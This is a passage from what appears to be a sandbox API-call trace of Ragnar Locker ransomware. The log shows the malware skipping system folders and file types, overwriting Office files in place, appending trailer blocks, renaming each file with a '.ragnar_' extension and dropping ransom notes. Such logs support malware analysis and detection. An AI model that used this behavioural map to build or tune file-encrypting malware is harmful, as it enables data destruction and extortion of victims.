lpString2=".db") returned 1 [0066.600] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0066.601] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0066.601] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0066.601] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0066.601] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0066.601] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0066.601] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0066.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0066.601] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=8723) returned 1 [0066.601] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x220a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.601] GetProcessHeap () returned 0x580000 [0066.601] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0066.602] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0066.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2213, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0066.603] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.603] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0066.603] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2213, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x2213, lpOverlapped=0x0) returned 1 [0066.604] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0066.604] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2213, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.604] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2213, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x2213, lpOverlapped=0x0) returned 1 [0066.605] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2213, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.605] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.605] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x2213, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.605] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.605] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.605] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.605] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0066.605] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.605] GetProcessHeap () returned 0x580000 [0066.605] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0066.605] CloseHandle (hObject=0x104) returned 1 [0066.607] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" [0066.607] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.ragnar_FD7BD9FC" [0066.607] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0066.609] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0066.609] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0066.609] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2=".") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="..") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Windows") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Windows.old") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Tor browser") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Internet Explorer") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Google") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Opera") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Opera Software") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Mozilla") returned 1 [0066.609] lstrcmpiW (lpString1="Word.en-us", lpString2="Mozilla Firefox") returned 1 [0066.610] lstrcmpiW (lpString1="Word.en-us", lpString2="$Recycle.Bin") returned 1 [0066.610] lstrcmpiW (lpString1="Word.en-us", lpString2="ProgramData") returned 1 [0066.610] lstrcmpiW (lpString1="Word.en-us", lpString2="All Users") returned 1 [0066.610] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0066.610] lstrcpyW (in: lpString1=0x1eab90, lpString2="Word.en-us" | out: lpString1="Word.en-us") returned="Word.en-us" [0066.610] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" [0066.610] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\" [0066.610] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\RGNR_FD7BD9FC.txt" [0066.610] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0066.613] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*" [0066.613] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x62 [0066.613] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0066.613] lstrcpyW (in: lpString1=0x1e9cba, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0066.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79f24d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79f24d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0066.613] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0066.613] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79f24d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79f24d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.613] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0066.613] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0066.613] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79f24d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x79f24d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0066.613] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0066.613] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0066.613] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0066.614] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0066.614] lstrcmpiW (lpString1="WordMUI.XML", lpString2=".") returned 1 [0066.614] lstrcmpiW (lpString1="WordMUI.XML", lpString2="..") returned 1 [0066.614] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0066.614] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0066.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79f24d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79f24d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0066.614] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x79f24d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79f24d80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.614] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79f24d80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x79f24d80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0066.614] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x62 [0066.614] lstrcpyW (in: lpString1=0x1ea0ce, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0066.614] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0066.614] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0066.614] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0066.614] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x62 [0066.614] lstrcpyW (in: lpString1=0x1ea0ce, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0066.614] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned=".XML" [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0066.614] lstrcmpiW (lpString1="SETUP.XML", lpString2="desktop.ini") returned 1 [0066.615] lstrcmpiW (lpString1="SETUP.XML", lpString2="iconcache.db") returned 1 [0066.615] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntldr") returned 1 [0066.615] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1 [0066.615] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat.log") returned 1 [0066.615] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.ini") returned 1 [0066.615] lstrcmpiW (lpString1="SETUP.XML", lpString2="thumbs.db") returned -1 [0066.615] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0066.615] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0066.615] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0066.615] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0066.615] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0066.615] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0066.615] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0066.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0066.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0066.616] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=2424) returned 1 [0066.616] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x96f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.616] GetProcessHeap () returned 0x580000 [0066.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0066.616] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0066.617] VirtualAlloc (lpAddress=0x0, dwSize=0x978, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0066.617] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.617] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0066.617] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x978, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x978, lpOverlapped=0x0) returned 1 [0066.618] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0066.618] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x978, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.618] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x978, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x978, lpOverlapped=0x0) returned 1 [0066.618] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x978, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.618] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.618] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x978, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.618] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.618] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.618] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0066.618] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0066.618] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.618] GetProcessHeap () returned 0x580000 [0066.618] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0066.618] CloseHandle (hObject=0x108) returned 1 [0066.619] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" [0066.619] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 